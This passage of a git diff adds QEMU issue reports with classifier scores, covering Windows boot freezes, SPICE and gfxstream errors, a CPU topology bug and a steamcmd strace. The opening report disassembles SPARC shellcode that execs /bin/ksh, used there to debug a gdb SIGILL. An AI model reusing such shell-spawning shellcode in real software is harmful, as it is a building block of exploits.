echo HELLO +HELLO +$ exit +``` + +As you can see the program works when ran directly from the shell, but when single-stepping in gdb, a SIGILL (illegal instruction) trap occurs +``` +-bash-4.3$ gdb test +GNU gdb (GDB) 7.4.1 +[...] +(gdb) disas main +Dump of assembler code for function main: + 0x0001061c <+0>: sethi %hi(0x2f626800), %l6 + 0x00010620 <+4>: or %l6, 0x16e, %l6 ! 0x2f62696e + 0x00010624 <+8>: sethi %hi(0x2f6b7000), %l7 + 0x00010628 <+12>: or %l7, 0x368, %l7 ! 0x2f6b7368 + 0x0001062c <+16>: and %sp, %sp, %o0 + 0x00010630 <+20>: add %sp, 0xc, %o1 + 0x00010634 <+24>: xor %o2, %o2, %o2 + 0x00010638 <+28>: add %sp, 0x14, %sp + 0x0001063c <+32>: std %l6, [ %sp + -20 ] + 0x00010640 <+36>: clr [ %sp + -12 ] + 0x00010644 <+40>: st %sp, [ %sp + -8 ] + 0x00010648 <+44>: clr [ %sp + -4 ] + 0x0001064c <+48>: mov 0x3b, %g1 + 0x00010650 <+52>: ta 8 + 0x00010654 <+56>: xor %o7, %o7, %o0 + 0x00010658 <+60>: mov 1, %g1 + 0x0001065c <+64>: ta 8 +End of assembler dump. +(gdb) b main +Breakpoint 1 at 0x1061c +(gdb) r +Starting program: /export/home/bazz/iob/test + +Breakpoint 1, 0x0001061c in main () +(gdb) si +0x00010620 in main () +(gdb) +0x00010624 in main () +[...] +Program received signal SIGILL, Illegal instruction. +0x0001063c in main () +``` + +However, if I continue execution _over_ the `std` instruction, the SIGILL does not occur. it will get to the usual SIGTRAP after execve, +but then complains about memory accesses that I've never seen before. +``` +(gdb) r +Starting program: /export/home/bazz/iob/test + +Breakpoint 1, 0x0001061c in main () +(gdb) c +Continuing. + +Program received signal SIGTRAP, Trace/breakpoint trap. +0xef783af4 in _rt_boot () from /usr/lib/ld.so.1 +(gdb) c +Continuing. +Cannot access memory at address 0x2800007 +Cannot access memory at address 0x2800003 +(gdb) c +Continuing. +Cannot access memory at address 0x2800007 +Cannot access memory at address 0x2800003 +(gdb) c +Continuing. +$ +``` + +It does eventually get a shell though. + +On mdb, instead of single-stepping into a SIGILL, everything goes unresponsive after stepping the `std` instruction. Then I have to kill mdb. diff --git a/results/classifier/108/graphic/2403 b/results/classifier/108/graphic/2403 new file mode 100644 index 000000000..9f8363880 --- /dev/null +++ b/results/classifier/108/graphic/2403 @@ -0,0 +1,29 @@ +graphic: 0.984 +device: 0.926 +boot: 0.867 +vnc: 0.833 +files: 0.796 +network: 0.775 +socket: 0.758 +semantic: 0.727 +performance: 0.633 +permissions: 0.595 +PID: 0.532 +debug: 0.445 +other: 0.170 +KVM: 0.018 + +WHPX accelerator fails to boot guest Windows 7 +Description of problem: +I get Qemu freezed on Starting Windows screen when trying to boot Windows 7 Professional +Steps to reproduce: +1. Run qemu with the above command line and until Starting Windows screen appears. +2. See qemu freezed. +Additional information: +tcg accelerator works ok, though (Windows 7 successfully boots as expected on native hardware): + +- `qemu-system-x86_64.exe -accel tcg -cpu Westmere,aes=on,avx=on,sse4.1=on,sse4.2=on,ssse3=on,x2apic=on,xsave=on -m 4G -machine q35 -device qxl-vga,vgamem_mb=64 -hda Windows7_Disk.qcow2 -boot d -cdrom Windows7.iso` + + This bug seems to have the same roots: https://gitlab.com/qemu-project/qemu/-/issues/1859 + + {width=579 height=477} diff --git a/results/classifier/108/graphic/2411 b/results/classifier/108/graphic/2411 new file mode 100644 index 000000000..c14284d2b --- /dev/null +++ b/results/classifier/108/graphic/2411 @@ -0,0 +1,26 @@ +graphic: 0.972 +device: 0.700 +performance: 0.654 +semantic: 0.620 +files: 0.609 +debug: 0.539 +boot: 0.509 +vnc: 0.507 +PID: 0.418 +socket: 0.305 +network: 0.267 +other: 0.243 +permissions: 0.237 +KVM: 0.141 + +[SPICE] How to make SPICE work with GVT-g + DMA-BUF + egl-headless ? +Description of problem: +I try to use GVT-g + DMA-BUF in PVE , vGPU display output can be displayed normally on noVNC, + +but when I try use SPICE, VM would not boot, come up with error: kvm: **The console requires display DMABUF support**. +Steps to reproduce: +1. Create a windows virtual machine +2. Manually add args to the conf file, add the mdev device of GVT-g. +3. Starting the Virtual Machine + +# diff --git a/results/classifier/108/graphic/2418 b/results/classifier/108/graphic/2418 new file mode 100644 index 000000000..d67ebadfa --- /dev/null +++ b/results/classifier/108/graphic/2418 @@ -0,0 +1,27 @@ +graphic: 0.994 +device: 0.783 +boot: 0.736 +debug: 0.684 +PID: 0.665 +vnc: 0.556 +files: 0.539 +other: 0.506 +network: 0.464 +semantic: 0.449 +performance: 0.434 +KVM: 0.396 +permissions: 0.331 +socket: 0.324 + +[Gfxstream BUG] +Description of problem: +I tried to test gfxstream with qemu,I build qemu-9.0.1 with --enable-rutabaga-gfx flag,but after I have compiled and try to boot my Virtual Devices,it crashed and told me with "invalid rutabaga build parameters: gfxstream feature not enabled" + +{width=1276 height=99} +Steps to reproduce: +1.Compile the qemu with kvm,vhost,rutabaga_gfxstream,virgl support +2.run the virtual machine with my command + +But I found an interesting thing:If I build and install AEMU&Gfxstream at /usr in place of /usr/local,I could boot Virtual Machine normally😂 + +Could developers solve the problems?Thanks! diff --git a/results/classifier/108/graphic/2420 b/results/classifier/108/graphic/2420 new file mode 100644 index 000000000..d3dc6fb8e --- /dev/null +++ b/results/classifier/108/graphic/2420 @@ -0,0 +1,59 @@ +graphic: 0.966 +performance: 0.868 +socket: 0.710 +device: 0.661 +other: 0.638 +vnc: 0.540 +debug: 0.530 +semantic: 0.524 +boot: 0.499 +PID: 0.416 +network: 0.397 +permissions: 0.302 +KVM: 0.271 +files: 0.100 + +Error: Deprecated CPU topology (considered invalid): Unsupported cluster parameter musn't be specified as 1 +Description of problem: +warning: Deprecated CPU topology (considered invalid): Unsupported clusters parameter mustn't be specified as 1 +VM does not start + +What I've tried so far to fix: + +- Removed the offending `clusters="1"` parameter in the XML, both via virsh edit and virt-manager but the sucker comes back every time! + +- Creating a completely new VM from scratch, just keeping the qcow2 for Windows. What happens then is funny: The initial setup goes well. Machine type automatically gets set to q35 version 9.0. After setting up my cores (pinning) for the VM (7C/14T for the VM 1C/2T for host), there is no "clusters" parameter anymore. So the first start went well. After a RESTART of the whole host machine and subsequent launch of the VM guess what happened? The "clusters" thing is back in full swing. +Steps to reproduce: +1. Create Windows 11 VM with virt-manager +2. Try to do core pinning and setting up the following in virt manager before +- Copy CPU configuration from host (host-passthrough) +- Manually set CPU structure via GUI to 1 Socket, 7 Cores, 2 Threads on an 8 Core (in my case 11900k) +3. Observe result in XML being: + `<topology sockets="1" dies="1" clusters="1" cores="7" threads="2"/>` + +Again, the "clusters" entry leads to the VM not starting. Removing it doesn't work, it comes back straight away. I tried in virt-manager as well as with virsh edit. +Additional information: +My core pinning for reference: + +``` +<vcpu placement="static">14</vcpu> + <iothreads>1</iothreads> + <cputune> + <vcpupin vcpu="0" cpuset="0"/> + <vcpupin vcpu="1" cpuset="8"/> + <vcpupin vcpu="2" cpuset="1"/> + <vcpupin vcpu="3" cpuset="9"/> + <vcpupin vcpu="4" cpuset="2"/> + <vcpupin vcpu="5" cpuset="10"/> + <vcpupin vcpu="6" cpuset="3"/> + <vcpupin vcpu="7" cpuset="11"/> + <vcpupin vcpu="8" cpuset="4"/> + <vcpupin vcpu="9" cpuset="12"/> + <vcpupin vcpu="10" cpuset="5"/> + <vcpupin vcpu="11" cpuset="13"/> + <vcpupin vcpu="12" cpuset="6"/> + <vcpupin vcpu="13" cpuset="14"/> + <emulatorpin cpuset="7,15"/> + <iothreadpin iothread="1" cpuset="7,15"/> + </cputune> +``` diff --git a/results/classifier/108/graphic/2421 b/results/classifier/108/graphic/2421 new file mode 100644 index 000000000..2fc5c59cc --- /dev/null +++ b/results/classifier/108/graphic/2421 @@ -0,0 +1,33 @@ +graphic: 0.927 +semantic: 0.854 +files: 0.847 +other: 0.842 +device: 0.841 +performance: 0.769 +boot: 0.757 +PID: 0.720 +vnc: 0.706 +socket: 0.691 +permissions: 0.686 +debug: 0.582 +network: 0.501 +KVM: 0.386 + +Cannot boot ArcaOS 5.1.0 (a distro of OS/2 Warp 4.52) in UEFI mode +Description of problem: +ArcaOS has added the UEFI support since 5.1.0, it has been tested on my physical machine(Ryzen 3300X + RTX2060 Super), and VirtualBox with an `Other x64` machine(the new OS/2 bootloader used in UEFI mode is x64 only). + +Fixes applied to #2198 are perfectly worked in legacy BIOS mode, but if I tried to boot it in UEFI mode, it will stuck on logo screen, and if I enable verbose mode in boot menu, nothing will be shown on the screen and serial ports. + +It happens in both `i440fx` machine type and `q35` machine type. +Steps to reproduce: +1. Install latest qemu HEAD version via `brew install qemu --HEAD` +2. Create new virtual disk via `qemu-img create -f qcow2 hdd.img 20G` +3. Copy EFI bios file and var file + ``` + cp /opt/homebrew/Cellar/qemu/HEAD-1a2d52c/share/qemu/edk2-x86_64-code.fd bios.fd + cp /opt/homebrew/Cellar/qemu/HEAD-1a2d52c/share/qemu/edk2-i386-vars.fd vars.fd + ``` +4. Launch it +Additional information: + diff --git a/results/classifier/108/graphic/2424 b/results/classifier/108/graphic/2424 new file mode 100644 index 000000000..51d8ed7f5 --- /dev/null +++ b/results/classifier/108/graphic/2424 @@ -0,0 +1,333 @@ +graphic: 0.950 +debug: 0.943 +device: 0.937 +other: 0.937 +semantic: 0.934 +KVM: 0.929 +vnc: 0.927 +performance: 0.917 +socket: 0.913 +PID: 0.896 +permissions: 0.893 +files: 0.877 +boot: 0.837 +network: 0.834 + +Fatal error: futex robust_list not initialized by pthreads (Unknown syscall 386) +Description of problem: +Seems like steamcmd modified their binary with a function unimplemented by QEMU just recently. This was working perfectly until then. I did some strace debugging and came up with this error: `set_robust_list(0x40b7be2c,12) = -1 errno=38 (Function not implemented)`. I even tried doing `qemu-arm` over `box86` just to see if it'll work but still got that same error. However, using `box86` alone worked. + +I have my reasons of wanting to use `qemu-i386` over `box86` mainly due to it being compilable into an ARM64 binary unlike `box86` which is only an ARM binary. Performance doesn't really matter as it's only being used to download server files. Running QEMU was the only option working for people on M-series Macs to run steamcmd in a container reliably over Docker Desktop as those CPUs don't have 32-bit support. Even if I force them to use only `box86`, Mac's Docker Desktop runs QEMU over the image to emulate 32-bit support which causes the same error. +Steps to reproduce: +1. Install Docker +2. Run `docker run -it --pull=always sonroyaalmerol/steamcmd-arm64:root` +3. Inside the container shell, run `LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/home/steam/steamcmd/linux32 qemu-i386-static /home/steam/steamcmd/linux32/steamcmd +@sSteamCmdForcePlatformType linux +@sSteamCmdForcePlatformBitness 64 +force_install_dir "/palworld" +login anonymous +app_update 2394010 validate +quit` +Additional information: +I'm running all these inside a Docker container. I maintain a Docker image that is meant to be a base image for steamcmd-based dedicated servers (https://github.com/sonroyaalmerol/steamcmd-arm64). + +I tried both the `qemu-user-static` package from Debian repos (which I believe is v7.2) and building straight from the source (stable-9.0 tag) with no luck. + +strace from the command: +``` +25 brk(NULL) = 0x00a89000 +25 mmap2(NULL,8192,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0) = 0x40839000 +25 access("/etc/ld.so.preload",R_OK) = -1 errno=2 (No such file or directory) +25 openat(AT_FDCWD,"tls/i686/sse2/libdl.so.2",O_RDONLY|O_LARGEFILE|O_CLOEXEC) = -1 errno=2 (No such file or directory) +25 openat(AT_FDCWD,"tls/i686/libdl.so.2",O_RDONLY|O_LARGEFILE|O_CLOEXEC) = -1 errno=2 (No such file or directory) +25 openat(AT_FDCWD,"tls/sse2/libdl.so.2",O_RDONLY|O_LARGEFILE|O_CLOEXEC) = -1 errno=2 (No such file or directory) +25 openat(AT_FDCWD,"tls/libdl.so.2",O_RDONLY|O_LARGEFILE|O_CLOEXEC) = -1 errno=2 (No such file or directory) +25 openat(AT_FDCWD,"i686/sse2/libdl.so.2",O_RDONLY|O_LARGEFILE|O_CLOEXEC) = -1 errno=2 (No such file or directory) +25 openat(AT_FDCWD,"i686/libdl.so.2",O_RDONLY|O_LARGEFILE|O_CLOEXEC) = -1 errno=2 (No such file or directory) +25 openat(AT_FDCWD,"sse2/libdl.so.2",O_RDONLY|O_LARGEFILE|O_CLOEXEC) = -1 errno=2 (No such file or directory) +25 openat(AT_FDCWD,"libdl.so.2",O_RDONLY|O_LARGEFILE|O_CLOEXEC) = -1 errno=2 (No such file or directory) +25 openat(AT_FDCWD,"/home/steam/steamcmd/linux32/tls/i686/sse2/libdl.so.2",O_RDONLY|O_LARGEFILE|O_CLOEXEC) = -1 errno=2 (No such file or directory) +25 statx(AT_FDCWD,"/home/steam/steamcmd/linux32/tls/i686/sse2",AT_NO_AUTOMOUNT|AT_STATX_SYNC_AS_STAT,STATX_BASIC_STATS,0x407ffdb8) = -1 errno=2 (No such file or directory) +25 openat(AT_FDCWD,"/home/steam/steamcmd/linux32/tls/i686/libdl.so.2",O_RDONLY|O_LARGEFILE|O_CLOEXEC) = -1 errno=2 (No such file or directory) +25 statx(AT_FDCWD,"/home/steam/steamcmd/linux32/tls/i686",AT_NO_AUTOMOUNT|AT_STATX_SYNC_AS_STAT,STATX_BASIC_STATS,0x407ffdb8) = -1 errno=2 (No such file or directory) +25 openat(AT_FDCWD,"/home/steam/steamcmd/linux32/tls/sse2/libdl.so.2",O_RDONLY|O_LARGEFILE|O_CLOEXEC) = -1 errno=2 (No such file or directory) +25 statx(AT_FDCWD,"/home/steam/steamcmd/linux32/tls/sse2",AT_NO_AUTOMOUNT|AT_STATX_SYNC_AS_STAT,STATX_BASIC_STATS,0x407ffdb8) = -1 errno=2 (No such file or directory) +25 openat(AT_FDCWD,"/home/steam/steamcmd/linux32/tls/libdl.so.2",O_RDONLY|O_LARGEFILE|O_CLOEXEC) = -1 errno=2 (No such file or directory) +25 statx(AT_FDCWD,"/home/steam/steamcmd/linux32/tls",AT_NO_AUTOMOUNT|AT_STATX_SYNC_AS_STAT,STATX_BASIC_STATS,0x407ffdb8) = -1 errno=2 (No such file or directory) +25 openat(AT_FDCWD,"/home/steam/steamcmd/linux32/i686/sse2/libdl.so.2",O_RDONLY|O_LARGEFILE|O_CLOEXEC) = -1 errno=2 (No such file or directory) +25 statx(AT_FDCWD,"/home/steam/steamcmd/linux32/i686/sse2",AT_NO_AUTOMOUNT|AT_STATX_SYNC_AS_STAT,STATX_BASIC_STATS,0x407ffdb8) = -1 errno=2 (No such file or directory) +25 openat(AT_FDCWD,"/home/steam/steamcmd/linux32/i686/libdl.so.2",O_RDONLY|O_LARGEFILE|O_CLOEXEC) = -1 errno=2 (No such file or directory) +25 statx(AT_FDCWD,"/home/steam/steamcmd/linux32/i686",AT_NO_AUTOMOUNT|AT_STATX_SYNC_AS_STAT,STATX_BASIC_STATS,0x407ffdb8) = -1 errno=2 (No such file or directory) +25 openat(AT_FDCWD,"/home/steam/steamcmd/linux32/sse2/libdl.so.2",O_RDONLY|O_LARGEFILE|O_CLOEXEC) = -1 errno=2 (No such file or directory) +25 statx(AT_FDCWD,"/home/steam/steamcmd/linux32/sse2",AT_NO_AUTOMOUNT|AT_STATX_SYNC_AS_STAT,STATX_BASIC_STATS,0x407ffdb8) = -1 errno=2 (No such file or directory) +25 openat(AT_FDCWD,"/home/steam/steamcmd/linux32/libdl.so.2",O_RDONLY|O_LARGEFILE|O_CLOEXEC) = -1 errno=2 (No such file or directory) +25 statx(AT_FDCWD,"/home/steam/steamcmd/linux32",AT_NO_AUTOMOUNT|AT_STATX_SYNC_AS_STAT,STATX_BASIC_STATS,0x407ffdb8) = 0 +25 openat(AT_FDCWD,"/etc/ld.so.cache",O_RDONLY|O_LARGEFILE|O_CLOEXEC) = 3 +25 statx(3,"",AT_EMPTY_PATH|AT_NO_AUTOMOUNT|AT_STATX_SYNC_AS_STAT,STATX_BASIC_STATS,0x407ffe38) = 0 +25 mmap2(NULL,11734,PROT_READ,MAP_PRIVATE,3,0) = 0x4083b000 +25 close(3) = 0 +25 openat(AT_FDCWD,"/lib/i386-linux-gnu/libdl.so.2",O_RDONLY|O_LARGEFILE|O_CLOEXEC) = 3 +25 read(3,0x408000a0,512) = 512 +25 statx(3,"",AT_EMPTY_PATH|AT_NO_AUTOMOUNT|AT_STATX_SYNC_AS_STAT,STATX_BASIC_STATS,0x407ffdd8) = 0 +25 mmap2(NULL,16392,PROT_READ,MAP_PRIVATE|MAP_DENYWRITE,3,0) = 0x4083e000 +25 mmap2(0x4083f000,4096,PROT_EXEC|PROT_READ,MAP_PRIVATE|MAP_DENYWRITE|MAP_FIXED,3,0x1) = 0x4083f000 +25 mmap2(0x40840000,4096,PROT_READ,MAP_PRIVATE|MAP_DENYWRITE|MAP_FIXED,3,0x2) = 0x40840000 +25 mmap2(0x40841000,8192,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_DENYWRITE|MAP_FIXED,3,0x2) = 0x40841000 +25 close(3) = 0 +25 openat(AT_FDCWD,"tls/i686/sse2/librt.so.1",O_RDONLY|O_LARGEFILE|O_CLOEXEC) = -1 errno=2 (No such file or directory) +25 openat(AT_FDCWD,"tls/i686/librt.so.1",O_RDONLY|O_LARGEFILE|O_CLOEXEC) = -1 errno=2 (No such file or directory) +25 openat(AT_FDCWD,"tls/sse2/librt.so.1",O_RDONLY|O_LARGEFILE|O_CLOEXEC) = -1 errno=2 (No such file or directory) +25 openat(AT_FDCWD,"tls/librt.so.1",O_RDONLY|O_LARGEFILE|O_CLOEXEC) = -1 errno=2 (No such file or directory) +25 openat(AT_FDCWD,"i686/sse2/librt.so.1",O_RDONLY|O_LARGEFILE|O_CLOEXEC) = -1 errno=2 (No such file or directory) +25 openat(AT_FDCWD,"i686/librt.so.1",O_RDONLY|O_LARGEFILE|O_CLOEXEC) = -1 errno=2 (No such file or directory) +25 openat(AT_FDCWD,"sse2/librt.so.1",O_RDONLY|O_LARGEFILE|O_CLOEXEC) = -1 errno=2 (No such file or directory) +25 openat(AT_FDCWD,"librt.so.1",O_RDONLY|O_LARGEFILE|O_CLOEXEC) = -1 errno=2 (No such file or directory) +25 openat(AT_FDCWD,"/home/steam/steamcmd/linux32/librt.so.1",O_RDONLY|O_LARGEFILE|O_CLOEXEC) = -1 errno=2 (No such file or directory) +25 openat(AT_FDCWD,"/lib/i386-linux-gnu/librt.so.1",O_RDONLY|O_LARGEFILE|O_CLOEXEC) = 3 +25 read(3,0x40800080,512) = 512 +25 statx(3,"",AT_EMPTY_PATH|AT_NO_AUTOMOUNT|AT_STATX_SYNC_AS_STAT,STATX_BASIC_STATS,0x407ffdb8) = 0 +25 mmap2(NULL,16400,PROT_READ,MAP_PRIVATE|MAP_DENYWRITE,3,0) = 0x40843000 +25 mmap2(0x40844000,4096,PROT_EXEC|PROT_READ,MAP_PRIVATE|MAP_DENYWRITE|MAP_FIXED,3,0x1) = 0x40844000 +25 mmap2(0x40845000,4096,PROT_READ,MAP_PRIVATE|MAP_DENYWRITE|MAP_FIXED,3,0x2) = 0x40845000 +25 mmap2(0x40846000,8192,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_DENYWRITE|MAP_FIXED,3,0x2) = 0x40846000 +25 close(3) = 0 +25 openat(AT_FDCWD,"tls/i686/sse2/libm.so.6",O_RDONLY|O_LARGEFILE|O_CLOEXEC) = -1 errno=2 (No such file or directory) +25 openat(AT_FDCWD,"tls/i686/libm.so.6",O_RDONLY|O_LARGEFILE|O_CLOEXEC) = -1 errno=2 (No such file or directory) +25 openat(AT_FDCWD,"tls/sse2/libm.so.6",O_RDONLY|O_LARGEFILE|O_CLOEXEC) = -1 errno=2 (No such file or directory) +25 openat(AT_FDCWD,"tls/libm.so.6",O_RDONLY|O_LARGEFILE|O_CLOEXEC) = -1 errno=2 (No such file or directory) +25 openat(AT_FDCWD,"i686/sse2/libm.so.6",O_RDONLY|O_LARGEFILE|O_CLOEXEC) = -1 errno=2 (No such file or directory) +25 openat(AT_FDCWD,"i686/libm.so.6",O_RDONLY|O_LARGEFILE|O_CLOEXEC) = -1 errno=2 (No such file or directory) +25 openat(AT_FDCWD,"sse2/libm.so.6",O_RDONLY|O_LARGEFILE|O_CLOEXEC) = -1 errno=2 (No such file or directory) +25 openat(AT_FDCWD,"libm.so.6",O_RDONLY|O_LARGEFILE|O_CLOEXEC) = -1 errno=2 (No such file or directory) +25 openat(AT_FDCWD,"/home/steam/steamcmd/linux32/libm.so.6",O_RDONLY|O_LARGEFILE|O_CLOEXEC) = -1 errno=2 (No such file or directory) +25 openat(AT_FDCWD,"/lib/i386-linux-gnu/libm.so.6",O_RDONLY|O_LARGEFILE|O_CLOEXEC) = 3 +25 read(3,0x40800060,512) = 512 +25 statx(3,"",AT_EMPTY_PATH|AT_NO_AUTOMOUNT|AT_STATX_SYNC_AS_STAT,STATX_BASIC_STATS,0x407ffd98) = 0 +25 mmap2(NULL,1065052,PROT_READ,MAP_PRIVATE|MAP_DENYWRITE,3,0) = 0x40848000 +25 mmap2(0x40855000,786432,PROT_EXEC|PROT_READ,MAP_PRIVATE|MAP_DENYWRITE|MAP_FIXED,3,0xd) = 0x40855000 +25 mmap2(0x40915000,221184,PROT_READ,MAP_PRIVATE|MAP_DENYWRITE|MAP_FIXED,3,0xcd) = 0x40915000 +25 mmap2(0x4094b000,8192,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_DENYWRITE|MAP_FIXED,3,0x103) = 0x4094b000 +25 close(3) = 0 +25 openat(AT_FDCWD,"tls/i686/sse2/libpthread.so.0",O_RDONLY|O_LARGEFILE|O_CLOEXEC) = -1 errno=2 (No such file or directory) +25 openat(AT_FDCWD,"tls/i686/libpthread.so.0",O_RDONLY|O_LARGEFILE|O_CLOEXEC) = -1 errno=2 (No such file or directory) +25 openat(AT_FDCWD,"tls/sse2/libpthread.so.0",O_RDONLY|O_LARGEFILE|O_CLOEXEC) = -1 errno=2 (No such file or directory) +25 openat(AT_FDCWD,"tls/libpthread.so.0",O_RDONLY|O_LARGEFILE|O_CLOEXEC) = -1 errno=2 (No such file or directory) +25 openat(AT_FDCWD,"i686/sse2/libpthread.so.0",O_RDONLY|O_LARGEFILE|O_CLOEXEC) = -1 errno=2 (No such file or directory) +25 openat(AT_FDCWD,"i686/libpthread.so.0",O_RDONLY|O_LARGEFILE|O_CLOEXEC) = -1 errno=2 (No such file or directory) +25 openat(AT_FDCWD,"sse2/libpthread.so.0",O_RDONLY|O_LARGEFILE|O_CLOEXEC) = -1 errno=2 (No such file or directory) +25 openat(AT_FDCWD,"libpthread.so.0",O_RDONLY|O_LARGEFILE|O_CLOEXEC) = -1 errno=2 (No such file or directory) +25 openat(AT_FDCWD,"/home/steam/steamcmd/linux32/libpthread.so.0",O_RDONLY|O_LARGEFILE|O_CLOEXEC) = -1 errno=2 (No such file or directory) +25 openat(AT_FDCWD,"/lib/i386-linux-gnu/libpthread.so.0",O_RDONLY|O_LARGEFILE|O_CLOEXEC) = 3 +25 read(3,0x40800040,512) = 512 +25 statx(3,"",AT_EMPTY_PATH|AT_NO_AUTOMOUNT|AT_STATX_SYNC_AS_STAT,STATX_BASIC_STATS,0x407ffd78) = 0 +25 mmap2(NULL,16392,PROT_READ,MAP_PRIVATE|MAP_DENYWRITE,3,0) = 0x4094d000 +25 mmap2(0x4094e000,4096,PROT_EXEC|PROT_READ,MAP_PRIVATE|MAP_DENYWRITE|MAP_FIXED,3,0x1) = 0x4094e000 +25 mmap2(0x4094f000,4096,PROT_READ,MAP_PRIVATE|MAP_DENYWRITE|MAP_FIXED,3,0x2) = 0x4094f000 +25 mmap2(0x40950000,8192,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_DENYWRITE|MAP_FIXED,3,0x2) = 0x40950000 +25 close(3) = 0 +25 openat(AT_FDCWD,"tls/i686/sse2/libc.so.6",O_RDONLY|O_LARGEFILE|O_CLOEXEC) = -1 errno=2 (No such file or directory) +25 openat(AT_FDCWD,"tls/i686/libc.so.6",O_RDONLY|O_LARGEFILE|O_CLOEXEC) = -1 errno=2 (No such file or directory) +25 openat(AT_FDCWD,"tls/sse2/libc.so.6",O_RDONLY|O_LARGEFILE|O_CLOEXEC) = -1 errno=2 (No such file or directory) +25 openat(AT_FDCWD,"tls/libc.so.6",O_RDONLY|O_LARGEFILE|O_CLOEXEC) = -1 errno=2 (No such file or directory) +25 openat(AT_FDCWD,"i686/sse2/libc.so.6",O_RDONLY|O_LARGEFILE|O_CLOEXEC) = -1 errno=2 (No such file or directory) +25 openat(AT_FDCWD,"i686/libc.so.6",O_RDONLY|O_LARGEFILE|O_CLOEXEC) = -1 errno=2 (No such file or directory) +25 openat(AT_FDCWD,"sse2/libc.so.6",O_RDONLY|O_LARGEFILE|O_CLOEXEC) = -1 errno=2 (No such file or directory) +25 openat(AT_FDCWD,"libc.so.6",O_RDONLY|O_LARGEFILE|O_CLOEXEC) = -1 errno=2 (No such file or directory) +25 openat(AT_FDCWD,"/home/steam/steamcmd/linux32/libc.so.6",O_RDONLY|O_LARGEFILE|O_CLOEXEC) = -1 errno=2 (No such file or directory) +25 openat(AT_FDCWD,"/lib/i386-linux-gnu/libc.so.6",O_RDONLY|O_LARGEFILE|O_CLOEXEC) = 3 +25 read(3,0x40800020,512) = 512 +25 statx(3,"",AT_EMPTY_PATH|AT_NO_AUTOMOUNT|AT_STATX_SYNC_AS_STAT,STATX_BASIC_STATS,0x407ffd58) = 0 +25 mmap2(NULL,2259228,PROT_READ,MAP_PRIVATE|MAP_DENYWRITE,3,0) = 0x40952000 +25 mmap2(0x40974000,1544192,PROT_EXEC|PROT_READ,MAP_PRIVATE|MAP_DENYWRITE|MAP_FIXED,3,0x22) = 0x40974000 +25 mmap2(0x40aed000,524288,PROT_READ,MAP_PRIVATE|MAP_DENYWRITE|MAP_FIXED,3,0x19b) = 0x40aed000 +25 mmap2(0x40b6d000,12288,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_DENYWRITE|MAP_FIXED,3,0x21b) = 0x40b6d000 +25 mmap2(0x40b70000,39196,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED,-1,0) = 0x40b70000 +25 close(3) = 0 +25 mmap2(NULL,8192,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0) = 0x40b7a000 +25 mmap2(NULL,16384,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0) = 0x40b7c000 +25 set_thread_area(0x408008b0) = 0 +25 set_tid_address(0x40b7be28) = 25 +25 set_robust_list(0x40b7be2c,12) = -1 errno=38 (Function not implemented) +25 Unknown syscall 386 +25 mprotect(0x40b6d000,8192,PROT_READ) = 0 +25 mprotect(0x40950000,4096,PROT_READ) = 0 +25 mprotect(0x4094b000,4096,PROT_READ) = 0 +25 mprotect(0x40846000,4096,PROT_READ) = 0 +25 mprotect(0x40841000,4096,PROT_READ) = 0 +25 mprotect(0x00a18000,143360,PROT_READ) = 0 +25 mprotect(0x40833000,8192,PROT_READ) = 0 +25 ugetrlimit(3,1082132628,1085730804,1,2097152,1082133208) = 0 +25 munmap(0x4083b000,11734) = 0 +25 getrandom(0x40b72b50,4,1) = 4 +25 brk(NULL) = 0x00a89000 +25 brk(0x00aaa000) = 0x00aaa000 +25 brk(0x00aab000) = 0x00aab000 +25 brk(0x00acc000) = 0x00acc000 +25 futex(0x00a867f0,FUTEX_PRIVATE_FLAG|FUTEX_WAKE,2147483647,NULL,0x40b6eff4,1085730804) = 0 +25 futex(0x00a867f8,FUTEX_PRIVATE_FLAG|FUTEX_WAKE,2147483647,NULL,0x40b6eff4,1085730804) = 0 +25 clock_gettime64(CLOCK_BOOTTIME,0x40800b6c) = 0 ({tv_sec=4668200,tv_nsec=47711961}) +25 gettid() = 25 +25 clock_gettime64(CLOCK_BOOTTIME,0x40800b5c) = 0 ({tv_sec=4668200,tv_nsec=48585844}) +25 getpid() = 25 +25 gettid() = 25 +25 gettid() = 25 +25 gettid() = 25 +25 gettid() = 25 +25 gettid() = 25 +25 gettid() = 25 +25 gettid() = 25 +25 gettid() = 25 +25 gettid() = 25 +25 gettid() = 25 +25 gettid() = 25 +25 gettid() = 25 +25 gettid() = 25 +25 gettid() = 25 +25 gettid() = 25 +25 gettid() = 25 +25 gettid() = 25 +25 gettid() = 25 +25 gettid() = 25 +25 gettid() = 25 +25 gettid() = 25 +25 gettid() = 25 +25 gettid() = 25 +25 gettid() = 25 +25 gettid() = 25 +25 gettid() = 25 +25 gettid() = 25 +25 gettid() = 25 +25 gettid() = 25 +25 gettid() = 25 +25 gettid() = 25 +25 gettid() = 25 +25 gettid() = 25 +25 gettid() = 25 +25 gettid() = 25 +25 gettid() = 25 +25 gettid() = 25 +25 gettid() = 25 +25 gettid() = 25 +25 gettid() = 25 +25 gettid() = 25 +25 gettid() = 25 +25 gettid() = 25 +25 rt_sigprocmask(SIG_BLOCK,0x407fe9f0,NULL,8) = 0 +25 rt_sigaction(SIGPIPE,0x407fe804,0x407fe890) = 0 +25 ugetrlimit(7,1082125036,1085730804,10725408,13,1082133352) = 0 +25 prlimit64(0,RLIMIT_NOFILE,{rlim_cur=1048576,rlim_max=1048576},NULL) = 0 +25 openat(AT_FDCWD,"/usr/lib/locale/locale-archive",O_RDONLY|O_LARGEFILE|O_CLOEXEC) = 3 +25 statx(3,"",AT_EMPTY_PATH|AT_NO_AUTOMOUNT|AT_STATX_SYNC_AS_STAT,STATX_BASIC_STATS,0x407fe5bc) = 0 +25 mmap2(NULL,2097152,PROT_READ,MAP_PRIVATE,3,0) = 0x40b80000 +25 mmap2(NULL,2596864,PROT_READ,MAP_PRIVATE,3,0x6f) = 0x40d80000 +25 close(3) = 0 +25 readlink("/proc/self/exe",0x00a8c450,4095) = 37 +25 